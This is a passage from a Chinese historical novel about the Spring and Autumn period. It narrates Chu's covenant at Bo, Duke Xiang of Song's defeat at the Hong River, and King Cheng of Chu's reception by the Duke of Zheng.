“楚王盛情,寡人承领。将军请入国馆稍歇,待后再复。”
“谢鲁公!”斗宜申躬身退下。
“楚人上殿,戴盔披甲,是以武**,无礼也!”鲁僖公的弟弟公子遂说道。
“君上,礼不可受!诸侯献捷,只献天子,我若受捷,是违礼也!”大夫臧文仲说道。
鲁僖公看着礼单,又喜又忧。喜的是,天下诸侯纷纷拉拢楚国,楚国却主动巴结鲁国。而忧的是,楚国向鲁献捷,确是无礼之举。周礼规定:诸侯征伐四夷,向天子受捷。诸侯内战,兄弟相残,天子也不会接受献捷,何况诸侯?
但除了楚国,中原谁还理睬鲁国?楚人虽蛮,却有求必应,这是难得的靠山啊!
鲁僖公长长的脸,尖尖的下巴,一双眼睛却又大又灵活。他双眼左转右转,开口说道:“今桓公薨世,霸中原者,必为楚人!今彼有求,不可拒之。若救得宋公,何患之有?”
众臣一想有理,便不再劝阻。
鲁国受礼赴约,让楚成**得意满。可是,齐国遣使来报:齐侯患疾,不能赴盟!
楚成王一听大怒,对子玉说道:“临淄之盟,誓犹在耳,齐侯拒盟,是废盟誓也!”
子玉劝道:“齐侯不忍霸权易手,故而拒盟。幸鲁公赴约,大王称霸,就在今日!”
公元前639年12月癸丑,楚、鲁、宋、陈、郑、蔡、许、曹八国诸侯共集睢阳北郊的亳城,举行历史上第一次由楚国主持的中原大国会盟。
第52章 亳城会盟 楚国称霸(2)
盟台高耸,诸侯毕至,焚香祭天之后,楚成王说道:“今日会盟,只为修桓公之德,察宋公之失,匡扶中原,以安天下!”
郑文公立即说道:“楚王禀明主之质,躬圣贤之德,乃桓公之风也!今日会盟,当为盟主,以主中原大义!”
众诸侯纷纷响应,唯独鲁僖公不吭声。楚成王说道:“楚乃南蛮之人,不识礼仪,岂可为尊?鲁乃周公之后,礼仪之邦,当为盟主!”
众人一听,都把目光投向鲁僖公。故作矜持的姬申终于等来展示风度的机会。他说道:“中原方伯,须仁德布于天下。楚显其威,未见其仁也。若楚王义释宋公,则德彰天下,义感诸侯,谁敢不服?”
鲁僖公的话,也是中原诸侯的心声。楚成王一听礼仪之邦竟同意选他,立即起身说道:“南蛮之人,忝为盟主之尊,安敢违诸侯之心?楚拘宋公,实为宋公恃托孤之重,倚扶嫡之功,恃强凌弱,暴虐诸侯。宋公若察己失,不谷当恕前非!”
子玉下令将宋襄公松绑,护送盟台。宋襄公感恩谢罪,楚成王上前,将他扶起,归于诸侯之列,自己登临盟主之位,手执牛耳,号令众诸侯歃血为盟,焚香祭天。子玉大声宣读盟约:
惟大周襄王十四年,季冬癸丑,商丘亳城。楚王熊恽、宋公兹甫、鲁公姬申、蔡侯姬甲午、陈侯妫款、郑伯姬捷、曹伯姬班、许子姜业奉天承命,共缔盟约曰:
一.凡我同盟者,须与邻为亲,和睦共生,不得擅自征伐!
二.不得杀戮诸侯,不得强逼盟誓。
三.灾国籴粮,涝国排渍,邻国之责,不可推诿。
四.修桓公之德,守中原之礼。诸侯不祭他人之神,不以人为牺牲。
五.还与盟之人,必遵此约。如有背弃,诸侯共讨!
众诸侯盟毕,各自回国。兹甫已知国人另立新君,无脸再回睢阳。可他又能到哪儿去呢?公子荡说道:“目夷为君,乃主上之愿也。不如且去卫国,以全目夷。”
兹甫点点头,说道:“只好如此。”两人失魂落魄,如丧家之犬,直奔卫国而去。
可就在这时,身后一队人马枪戟挥舞,自睢阳追来。有人喊道:“国君留步,目夷迎君来也!”
他回头一看,为首的正是长兄目夷。但恐有诈,连连后退。目夷下车,迎面遥拜道:“启禀国君,楚人挟君劫国,臣下无奈,只得暂代君位,以退楚兵。天助君上幸免于难,我等即奉君复位,以安社稷。”
兹甫不敢相信,狐疑不决。众臣跪拜道:“国君勿疑,恭请回国复位!”
兹甫望着那一张张熟悉的面孔,一股暖流涌遍全身。他沦落至此,国人仍然不弃,眼泪禁不住夺眶而出。众臣见国君流泪,**的情感顿时涌动,个个泪水纵横,哭成一团。君臣前嫌冰释,一起回到国都睢阳。
回到国宫,目夷举行盛大的禅位仪式,将天子封国的圭玉还给宋襄公。宋襄公三辞而受,谦恭地说道:“盂地受辱,家国蒙羞,皆为寡人之过也。然蛮楚冒爵为王,以武定霸,中原德礼从此休矣!”
目夷见他还不甘心,立即上前劝道;“君上勿忧,争霸之路,来日方长。待我内修德政,外结诸侯,终能与楚抗衡!”
“目今中原,谁能与楚抗衡?郑、鲁、陈、蔡、许、曹皆投楚矣!”
这确实是一个问题。公子荡说道:“楚人从蛮野之地杀出,武强文弱,无称霸之质,若中原俯首帖耳,德礼何存?”
宋襄公点点头:“大周以德礼安天下,宽怀仁厚,存亡继绝,遂有三百年盛世。至幽王失德,西周沦亡,又有桓公再兴德礼,使中原安定。今桓公已亡,若无人继之,天下必以武为霸,争战不宁,烽火连天也。”
“君上意欲何为?”目夷问道。
“我受桓公托孤之重,夙夜思之:桓公之德,不可失也。目今中原诸侯,皆蝇营狗苟,屈从楚威,舍我继桓公之德,更有何人?”
“小国争霸,祸也!君上不可为之。”目夷劝道。
“君上,中原有谚:‘一族不再兴’我子性商人已大兴六百年,皇天不再佑也。君上盟台受辱,便是明训。”右师公子成也发话了。
“若承德礼,虽九死又何悔?众卿不可见一时之难,而弃万世之基也。”
“莫非君上欲与楚宣战?君上若败,德礼何存?”目夷急了。
“孤不能以武抗楚,然可使诸侯脱楚。若中原诸侯共守德礼,何愁不能胜楚?”
“然中原诸侯多数投楚,如何共守德礼?”公子成觉得君上太天真了。
“诸侯投楚,非心服也。惟郑与楚狼狈为奸,我必伐之,使其脱楚而归中原,则其余诸侯必然来归。”
目夷仍觉不妥:“楚、郑同盟之谊,婚姻之亲,我若伐郑,楚人岂会坐
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视不管?若睢阳反遭楚军攻伐,大军回救不及,大宋危矣!君上且息雷霆之怒,修德养性,待机而动,方为上策也!”
可宋襄公心意已决:“我举仁义之师,为周礼而战,诸侯必从!”
君上主意已定,大家不好再争。况且维护周礼,中原人人有责,他们也不便再反对。便传召中原诸侯。
卫国首先响应。卫与宋同宗同祖,又与郑国有领土**。卫文公听说郑文公推蛮楚为霸主,一怒之下,举兵来战。令人没想到的是,陈国也愿出兵。支持楚国的陈穆公,曾与楚王同赴临淄,又参与盂地之盟,但他却不赞同楚人盟台劫君,以武定霸,便也举兵护礼。
公元前369年3月,宋襄公以左师目夷领上军,以宋国大军为主力。大司马公孙固领下军,率卫、陈、滕三**队。以公子荡、乐仆伊为大将,倾巢而出,大举伐郑。一举把新郑团团围住。
郑文公有楚国做后盾,不怕四国联军,号令举**民奋力抵抗。新郑久攻不下。
宋襄公急了,他圆睁怒目,亲冒矢石,到城边指挥。目夷与公孙固也焦急万分,担心楚国来援,指挥大军拼死苦战。
四国大军日夜强攻,郑国眼看招架不住了,郑文公紧急派人星夜赶往郢都,向楚王求救。
楚成王闻讯大怒。那高鼻子刚刚放回,便不思悔改,公然背叛亳城之盟,他岂能坐视不顾?且郑、楚同盟,如胶似漆,他又怎能不救?
楚成王亲点大军,以成得臣领中军,斗宜申领左军,斗勃领右军,蒍吕臣为随军大夫,三军不救郑国,直扑宋国。
宋襄公闻报大惊,赶紧召集众将商讨对策。
大司马公孙固忧心忡忡地说道:“今天佑楚人,兵精将广,我军闻楚变色,不可拒矣!君上须以国家存亡为念,撤兵回国,与楚媾和!则大宋可保,君上无虞也!”
宋襄公反驳道:“中原亦云:仁者无敌!楚军虽勇,却为无礼之众;寡人势弱,却为仁义之师。昔我先圣以仁义之弱师,鸣条山一战,击败夏桀无道之强军,遂有六百年大商江山,今日我必效先圣之为,一战而霸!”
左师目夷说道;“楚军来攻,必经泓水,若我军回师,依水迎敌,尚有胜机。”
宋襄公大喜;“此计甚好,就依左师之言,转兵泓水!”立即令目夷回睢阳守城,自领中军,移师泓水北岸。
第53章 泓水之战
公元前638年11月1日,楚、宋两军约战泓水之畔。
泓水是淮河第二大支流涡河的分支,从商丘与柘城之间流过,向东南注入涡河。楚军北上伐宋,必经泓水。
大司马公孙固深知此战关系重大,不等天亮就在北岸排兵布阵,到黎明时分,宋军已是阵形齐整,斗志昂扬。宋襄公金盔金甲,驱车而来。他的身后特制一面高达一丈的巨大旗帜,上书“仁义之师”四个大字。
这时,楚成王也率军来到泓水南岸,看到北岸宋军已严阵以待。不敢渡河,-时不知如何是好。斗勃是个谨慎的人,对子玉说道:“此时不可渡河,以防宋军半渡而击。若等夜半暗渡,宋人必然不防。”
成得臣说道:“宋公好名无实,轻信篡谋,未可惧也。我率前军渡河,如有不利,大王出兵接应。”
黎明时分,楚军开始冒险渡河。时值冬季,河水不深。可车马入水之后就开始失控,行进困难,队形一片混乱。
宋襄公站在高高的北岸辂车之上,公孙固、公子荡、乐仆伊的战车分列左右两边。看到楚军无视宋军,冒险强渡,公孙固心中暗喜,等楚军渡到河心,立即对宋襄公说道:“楚军滞于河中,行进艰难,可乘势击之!此天赐良机,必获大胜!”
兹甫却摇摇头说;“不可!圣人领兵,不以阻隘。吾举仁义之师,岂可乘人之危?违礼之事,不可为也。”
不以阻隘就是不利用险隘的地利攻击敌人,这是周礼的规定。但守礼,就要错过战机。公孙固也犹豫了,急得抓耳挠腮,却不好反驳,只能眼睁睁地看见楚军上岸。但见人马混乱,队形未整,遂觉战机又现,立即又谏道:“趁楚阵形不整,军心未定,可急鼓冲杀,必一战而定天下!”
宋襄公又摇摇头,说道:“不可!礼云:‘不鼓不成列’尔欲无礼乎?”
“此时不战,恐难取胜也。”公孙固急了。
不在对方列队之时击鼓冲杀,也是周礼对战争的规定,宋襄公坚持守礼,说道:“天下之战,焉能未成列而击之?”
心急火燎的公孙固被问得哑口无言,此时,楚军之中,子玉头戴银盔,身披深红绣凤战袍,威风凛凛地立于战车之上,挥旗列阵,指挥若定。顷刻间,楚军已是阵容整齐,旌旗蔽日,雷声般的鼓点随即冲天而起,戈戟齐举,以排山倒海之势杀了过来。
这时,宋襄公方令进攻。可是晚了!宋军本来惧楚,一见如此强大的阵势,便心生胆怯。其他三国之军见宋军动摇,顿时阵形大乱。公孙固见军心不稳,便一马当先,率前军迎头进击,两军如电石火花一般迎头相撞,可宋军一触即溃,**得血肉横飞。公孙固陷入楚军阵中,恰遇斗勃,两人杀得难解难分。此时宋襄公见公孙固杀开了血路,脑子一热,也带着公子荡和乐仆伊冲了上去,恰遇斗宜申率兵冲来。公子荡和乐仆伊立即上前接战厮杀。
国君和主帅舍生忘死,宋军受到鼓舞,转身硬着头皮与楚军接战。三**队自恃人多,也冒死接战。一时杀得难解难分。
子玉站在帅车上,见宋襄公的君车深入腹地,心中一喜。心想只要抓住了宋襄公,联军必然崩溃。他率领后队驱车杀入阵中,直取宋襄公。公孙固一见,丢下斗勃就去支援国君。
此时的公子荡见国君危急,令乐仆伊去保国君,自己一个人死战斗宜申,战了十几个回合,就被斗宜申一戟刺到左胸,只好掉头就跑,护住宋襄公一齐撤退。
斗勃见联军已败,惊慌溃逃,便犹豫起来。
可斗宜申不肯罢休,挥戟直追,子玉也正赶了过来,问斗勃道:“为何不追?”
斗勃犹豫了一下,说道:“宋人败矣,以臣追君,无礼也!”
子玉怒道:“子上欲纵敌乎?”斗勃一听,挥戈向前而去,三路兵马从三面包抄宋襄公。宋宫卫队舍命护驾,且战且退。公子荡受了斗宜申一戟,伤痛难支,但见楚军穷追不舍,又回马去战斗宜申,被斗宜申一戟又中,栽下车来,躺在地上,口流鲜血,那双可爱的双眼惊恐万状,可斗宜申杀性正盛,一戟刺进了他的胸膛,只见一股鲜血从口中喷出,首次出使楚国的公子荡,瞬间惨死在楚人的戟下。
乐仆伊挺枪来挡斗勃,两人战了不到十个回合,斗勃见他相貌英俊,又武艺高强,不忍加害,便一枪将他刺伤。子玉则紧追公孙固不放,大司马无奈,也回头来战子玉。战了十几个回合,见公子荡战死,乐仆伊受伤,便转身去保护国君。子玉不甘心他逃走,拔箭就射,正中公孙固肩背,只见他靠在车轼上,手握长戟不放,护住宋襄公的辂车奔逃。子玉恼怒不已,又一箭向宋襄公的辂车射去,宋襄公左腰中箭,仰头倒在车上!
此时,联军全线溃败,兵败如山倒,楚军没有听收兵钲声,仍紧追不放,杀得宋军鬼哭狼嚎。护卫国君的宋宫卫士一个个浴血苦战,前仆后继,无人逃走,几乎被楚人杀尽,公孙固紧护宋襄公一路狂逃,身中数箭而不倒,最终逃走。
楚军大胜,宋国的“仁义之师”几乎全军覆灭。宋襄公身负箭伤,留下一命,仓皇逃回睢阳后卧床不起。战死者亲眷更是悲痛欲绝,宋国城乡哭声盈野,笼罩在愁云惨雾之中。朝野有人议论起来,指责国君坐失大好战机,使宋国蒙难。
宋襄公闻知朝野私议,更在病床上**难熬。这天,他负病上朝,对众臣说道;“圣者领兵,临大事而不忘大礼。故周礼有云:不杀黄口小儿,不重复伤敌,不擒白发之人,不以阻隘,不鼓不成列。寡人依礼而行,又何咎焉?此战不利,乃为天意也!”
目夷说道:“天意已显,君上未知矣!天生泓水,是助我商族阻挡南蛮之敌也。楚军渡河迟缓,列阵嘈乱,皆为天赐良机!强敌自陷险隘,正可趁势进击,有何不可?我犹恐不胜也!黄口白发,皆为我敌,可擒则擒,岂能纵之?金鼓激越,正可一气而败嘈杂列阵之敌也!岂可临敌犹豫,屡失战机?今大军战败,负商族苍生,有何仁焉!”
“子鱼只求一战之胜,而忘万世之礼也!若失却德礼,只求胜果,则人皆乘人之危,良知尽丧也。中原必诡诈丛生,奸邪当道。使君臣猜忌,父子反目,夫妻向背,兄弟成仇。今战虽败,然礼未失,何谓不智?何谓不仁?”
右师公子成比宋襄公长一辈,一路看他长大,深深地了解他,说道:“守礼而败,强过违礼而胜。昔桓公分沟礼燕,失却国土五十里,只为守礼也。”
“守礼而败,礼将何存?”众将都不甘心。
“违礼而胜,礼将亡也!”宋襄公也不相让。
大家沉默了。公子成静静说道:“失却德礼,中原必欺诈成性,失却中原高贵之质,人将变得**,沦为禽兽也。”
求胜?还是守礼?宋人争论不休,中原也议论纷纷。谁愿承受守礼之痛?谁愿为礼奉献国土甚至生命?面对人性的狡诈与残忍,还能留存人心的高贵吗?中原之人一片迷茫。
而失去霸权的齐国,同样处在煎熬之中。齐孝公吕昭,是齐桓公钦定的**人,可他承位刚刚三年,霸权就被楚人抢走了,内心的痛苦和折磨,使他难以忍受。这天举朝,他痛心地说道:“楚举亳城之盟,又大败宋军,霸权定矣,如之奈何?”
大家一听,伤怀不已,上卿高虎也不甘心,他心怀怨恨地说道:“楚人既修我先君之德,为何以武立霸?修德是虚,争霸是实也。”
国懿仲说道:“楚人不争,必为宋公所得也。”
下卿崔夭见两位上卿还不甘心,便说道
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:“宋公既受先君托孤,便该以礼护霸,岂可与我相争!今盂地受囚,泓水大败,是自取其辱也。我等不可重蹈覆辙。”
但是,齐国半个世纪的霸权就这样送给楚人吗?大家一筹莫展,只觉心中难过。齐孝公恼怒地说道:“临淄之盟,众诸侯皆至,宋独不来,一意以爵定霸,致霸权易手,实为宋公之过也!我必伐之!”
气急败坏的齐孝公把愤怒全加到宋襄公身上,大年刚过,他便率领大军讨伐宋国,把宋国东境的缗城团团围住,日夜强攻。
宋襄公闻讯,如万箭穿心!我是那个兔崽子的恩人哪,他却在最危难的时候恩将仇报!宋襄公气得口吐鲜血,终日昏迷不醒。
这天,齐孝公亲临城下,决意拿下缗城!他正要下令进攻,却见城上守军一个个披麻戴孝,觉得奇怪,便令崔夭上前询问。崔夭双手护嘴,高声喊道:“大战之时,为何戴孝?”
守城将军回道:“国君薨矣,尔等趁丧加兵,是无礼也。”
崔夭对齐孝公说道:“礼曰‘兵不伐丧’,君上不宜攻城!”
齐孝公一肚子怨气还没发泄,宋襄公却**。他无可奈何,只得收兵回国。
宋襄公在连天的烽火之中溘然长逝,成为千古争议的话题。后代的儒家学者一致认为他义辞君位,受命托孤,在泓水之战中坚守礼仪,虽败犹荣,认定他为春秋五霸之一,与齐桓公并列于历史的画廊之中。可其他许多流派大都不认同。认为他囚滕君,杀鄫子,死守德礼而招致大败,不配霸主之誉。两派相争,至今不息。
泓水大捷,让郑国欢欣鼓舞。而最为高兴的是郑文公。强大的楚国如此仗义,他没有看错呀!感激涕零的老胖子立即召群臣,商议如何犒劳楚军。
白白胖胖的皇武子说道:“楚人重义,我则不能薄情,须犒赏楚师,邀楚王进宫享宴!”
郑文公说道:“如此甚好!”
“不可!”詹叔立即反对:“楚王进宫,楚师若何?昔息国邀楚先王进宫享宴,楚人乘机灭国夺妻,此不能不防也!若楚王携师而入,国将危也!”
大家一听,都呆了。防人之心不可无啊,还是老臣谋国。
大司马石癸说道:“不必劳楚王入都,柯泽毗邻宋国,楚师一日可至。君上与众臣劳驾亲至,远迎楚王,盛礼相待,最为妥当。”
郑文公一想,也只好如此了。说道:“皇武子多备粮草速往楚营劳军,盛邀楚王前往柯泽;大司马领人即往柯泽,筹办诸事;众臣与寡人随后同往。”
“遵令!”郑国君臣终于达成统一。
到边鄙之城迎接楚王,郑文公还是觉得难显诚意。回到后宫,芈夫人临门迎接。可他却没有反应,一屁股坐下不动。芈夫人见他有心思,忙送上热茶,问道:“楚师大败宋军,君上还有何忧?”
郑文公抬头看了看大眼流波的夫人,突然一想,她是楚国公主啊!若带夫人前往,楚王一定高兴。他拉着芈夫人的手,说道:“寡人正欲前往柯泽,迎候楚王,夫人可愿同往?”
“多谢夫君,小童求之不得!”
这时,只见一位个子高挑,步态风骚的女人进来,说道:“闻夫君欲往柯泽,可否带小童同往?”
“姐姐愿往,正好有伴!”芈夫人高兴地说道。来者是姜夫人,齐桓公的女儿。芈夫人虽然受宠,但来郑不到一年,愿意与她交好。郑文公正要说话,只见嫔妃、公子、公主们从门口涌了进来,要求前往柯泽。
自从郑楚结盟,郑人就对南蛮楚国充满好奇。今泓水大捷,这些在后宫无所事事的男男女女,更想看看南蛮之王是个什么样子。郑文公脑子一热,说道:“众人尽皆同往,以迎楚王!”
众人欢天喜地,同声说道:“多谢君上!”
第54章 楚成王享宴
楚成王心牵矞似,本想班师回国,见皇武子前来犒军,又盛情相邀,便令全军依泓水下寨,自己带着众将前来柯泽。
车到柯泽城郊,远远看见东门之外人山人海。骑马引路的皇武子说道:“寡君倾宫而出,领柯泽万民迎大王也!”
楚成王一听,心花怒放,说道:“郑伯大礼,不可怠慢,催马快行!”
车驾扬鞭催马,行至东门。楚成王远远下车,郑文公急步前迎,说道:“大王劳师远征,救郑于水火,此恩此情,我将何报?”
“郑伯高义,倾宫来迎,我何敢当?”楚成王笑呵呵地回礼道。
“楚郑亲盟,已历二世,臣民欲睹大王风采,公主亦至也!”
芈夫人听言上前,笑吟吟地说道:“小妹见过王兄!”
楚成王一见,说道:“吾妹向来可好?”
“蒙郑伯垂爱,小妹静好!今见王兄,如回母国也。”虽然嫁到郑国不久,芈夫人还是想家。
“子瑕见过大王!”这时,芈夫人身后一位身材颀长,面容秀丽的公子上前躬身行礼道。
楚成王转过头,拉着他的手,高兴地说道:“公子堂堂一表,谦恭有礼,委实令人喜爱。”
妹妹忙解释道:“此为苏夫人长子。苏夫人前年谢世,次子俞弥早亡,瑕儿孤苦一人,便认我为母,伴我左右!”
楚成王点点头,用手抚摸着公子瑕的头,现出爱怜之色。
“大王万福!”姜夫人见楚王温柔之色,上前施礼道。
“此为姜夫人,桓公之女也。”妹妹又向弟弟介绍道。
楚成王一见,两眼放光。只见姜夫人高大丰满,圆润的瓜子脸上,两眼秋水流波,顾盼撩人,而那丰盈的酥胸,更让人春心颤动。他定了定神,戏谑道:“螓首蛾眉,美目盼兮。人言齐女美艳,冠绝中原,果然如此。”
楚成王引用的中原流行的诗句。出自卫国庶民赞美齐国公主的《硕人》一诗,但楚成王如此当面直白,确有挑逗的意味。而姜夫人却并无愠色,反而身子一扭,笑着说道:“大王戏言,小童羞愧。”脸上流出妩媚的笑容。
芈夫人见两人神色不对。立即转移话题:“王兄爱瑕儿,何不收为外甥?”
楚成王还没有从姜夫人的气韵中解脱出来,机械地回头看着公子瑕。公子瑕一见,马上说道:“瑕儿见过舅舅!”
楚成王也确实喜欢这个乖巧的孩子。当年,大周王室内乱,苏国国君参与周惠王的弟弟王子颓谋反,最后失败,苏国从此被灭。此儿丧国丧母丧弟,太可怜了。便说道:“好瑕儿,从此便是不谷之甥,大楚便是汝之母国。”
谁知郑文公干脆说道:“大王疼爱,何不带回楚国,以成甥舅之亲?”
楚成王惊讶地望着他,说道:“熊恽安敢夺郑伯所爱!郑伯失公子士,熊恽惭愧无地,岂可再夺瑕儿?”
原来,郑文公所娶的江国公主也曾为他生下一子,就是公子士。送到楚国,却被楚国强盗杀了,楚成王心怀内疚,不好再领走公子瑕。
“无妨,大王爱之,瑕儿之幸也。瑕儿可愿?”
公子瑕惊恐地低头说道:“孩儿谨遵父命!”
见公子瑕如此惧怕君父。楚成王奇怪,郑伯到底喜欢哪个儿子?长公子华,曾被他立为太子,因惧怕被废,便想借齐桓公的手杀不支持他的郑国“三良,”。郑文公知道后,把他给毒**;次子公子臧,是太子华的同母弟弟,逃到宋国,又被他派**扮着强盗进入宋国杀了。三子公子士,说不定也是他派**潜入楚国所杀。今又要赶走四子公子瑕。那他还有几个儿子呢?楚成王抬头一看,只见一个公子模样的少年,相貌英俊,却愁容满面,默默无语。他上前问道:“莫非是五公子?”
“子兰拜见大王!”沉默寡言的公子兰不得不说话了。
“公子免礼!郑伯有福也,子嗣皆英俊而识礼!”楚成王夸道。
“谢大王抬爱,燕姞见过大王。”公子兰身边一位气质文雅,面容秀丽的嫔妃恭敬施礼道。
“此乃燕国公主,兰儿母亲。”芈夫人介绍道。
楚成王一听,肃然起敬。燕姞是南燕国公主,姞姓。相传南燕国始祖伯鲦的女儿伯姞,就是姬姓始祖后稷的元夫人,即姬姓之母。现在是姬姓的天下,楚成王立即施礼道:“公主血缘尊贵,母仪堂堂,熊恽幸睹芳容!”
谁知郑文公见楚成王对他们母子如此谦恭,竟转身恭维子玉去了:“子玉涉险渡水,指挥若定,当为首功!就此谢过。”
子玉忙说道:“此大王之功,郑伯之福,子玉岂敢贪功?”
楚成王回望郑文公,见他根本不把公子兰母子放在眼里,心中疑惑重重。这时,那些嫔妃们纷纷领着儿子上前,抢着面见楚王。
“坚儿见过大王!”
“庞儿见过大王!”
楚成王只觉应对不暇,心想,郑伯的儿女真多啊!
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>在这些公子们的后面,更是一大群嫔妃带着公主们直勾勾地望着他,一个个指指点点,品头论足。
“楚王年轻如许,令人喜爱,嘻嘻。”
“楚王举止有礼,亦蛮野有趣也!”
看着这儿女成群的郑国后宫,楚成王却感到无限失落,对妹妹说道:“郑伯子女成群,后宫兴旺,我不如也!”
妹妹一笑,说道:“王兄齿未之年,郑伯年过半百,不可比也!”
见兄长还是怅然若失的样子,芈夫人忙转身对郑文公说道:“王兄见夫君儿女成群,似有失落之感。”
郑文公其实也看到楚王与姜夫人神情不对,怕楚王惦记姜夫人,便说道:“爱妃从后宫中细挑一女,宴后送与楚王,以兴楚王后宫。”说完就走上前去,请楚王入城。
芈夫人一听,心中高兴,但马上就犯难了:后宫嫔妃的女儿,就是她的女儿,辈份不符啊!且时间也太仓促了。她望着夫君的背影,一时不知如何才好。
这时,一直孤身站立一旁的詹叔,阴沉着脸,一声不吭地独自离去!
楚成王被簇拥着进入城内,只见街道两旁披红挂绿,张灯结彩,挤满了看热闹的民众。来到衙殿门前,已是人山人海。郑文公带着男男女女站立在衙殿门前的石阶上,又一次盛情迎接。楚成王兴致**,对子玉说道:“献捷!”
子玉大声喊道:“大王有令:献捷!”
楚国士兵们立即将缴获的宋襄公仪仗中的各种彩旗和器具、宋国战将的各种盔甲,无数带血的刀枪剑戟和盾牌,以及钲、鼓、礼器等一一从战车上卸下,摆在衙殿前的大坪中间。百姓们好奇地上前细看,不断有人喊道:“楚师威武!楚师威武!”
不久,从一辆辆战车上,押下一个个宋国士兵,数百名被俘士兵光着膀子,蓬头垢面地从众人眼前走过。围观的百姓却不再叫喊了,有的捂着嘴,有的捂着胸,脸上露出同情、怜悯之色。
献俘之后,楚军又将一个个沉甸甸的大筐抬了上来。摆成一长排。众市民上前一看,“哇”地一声,掩面转身就退走开了。好奇的姜夫人禁不住上前一看,也玉颜失色,忍不住“哦——”的一声退了回来,仿佛就要呕吐,问芈夫人道:“为何割人耳朵?”
芈夫人笑着说道:“战场杀敌多少,无人统算。将士们每杀一人,便割其左耳,以报战功。”
姜夫人不断摇头,嘴里不知喃喃说着什么。